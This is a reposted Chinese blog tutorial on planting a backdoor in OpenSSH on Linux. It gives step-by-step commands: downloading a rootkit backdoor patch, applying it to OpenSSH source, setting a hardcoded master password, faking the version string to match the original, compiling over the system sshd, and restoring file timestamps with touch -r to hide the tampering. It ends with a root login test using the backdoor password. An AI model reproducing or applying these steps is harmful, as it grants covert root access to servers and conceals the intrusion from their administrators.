您的位置:首页 > 运维架构 > Linux

Linux系统安全之ssh后门

2017-03-16 10:48 561 查看
http://www.2cto.com/article/201309/242910.html

1.ssh -V

#查看当前的ssh版本信息

#OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

 

2.查找ssh的配置文件

一般都在/etc/ssh中

 

3.备份原来的文件的time

将/etc/ssh下的文件的备份

假设/etc/ssh/sshd_config 备份为/etc/ssh/sshd_config.old

4.wget存在后门的ssh

#http://core.ipsecs.com/rootkit/patch-to-hack/(已被墙) 后门

#http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/ 正规的ssh源文件

#openssh-5.9p1.tar(正规文件)

#openssh-5.9p1.path.tar(后门文件)

 

5.tar zxf openssh-5.9p1.tar

tar zxf openssh-5.9p1.path.tar

cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1

cd openssh-5.9p1

patch < sshbd5.9p1.diff

 

6.修改ssh信息

vi inculdes.h

##define SECRETPW “sky” 后门的密码

 

vi version.h

#define SSH_VERSION “OpenSSH_5.8p1 Debian-1ubuntu3″ #修改为第一步ssh -V 查看到的信息

#define SSH_PORTABLE “p1″

 

7.源码编译

yum install -y openssl openssl-devel pam-devel

./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam –with-kereros5

#–sysconfdir=/etc/ssh 是在第二步查找的路径

#如果不设定和源文件的路径

#strings /usr/sbin/sshd | grep etc

#就可以看出问题!!!

 

编译过程中可能出现的报错:

configure: error: *** zlib.h missing – please install first or check config.log

#

#yum install zlib-devel

 

configure: error: *** Can’t find recent OpenSSL libcrypto (see config.log for details) ***

#

#yum install openssl openssl-devel

 

make && make install

 

/etc/init.d/sshd restart

 

7.还原原来ssh文件的time

修改文件的修改时间(mtime)

 

touch -r /etc/ssh/sshd_config.old /etc/ssh/config 等等

 

8.测试

ssh root@localhost

输入刚才设定的后门的密码,如果登录成功,表示设定ok! 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息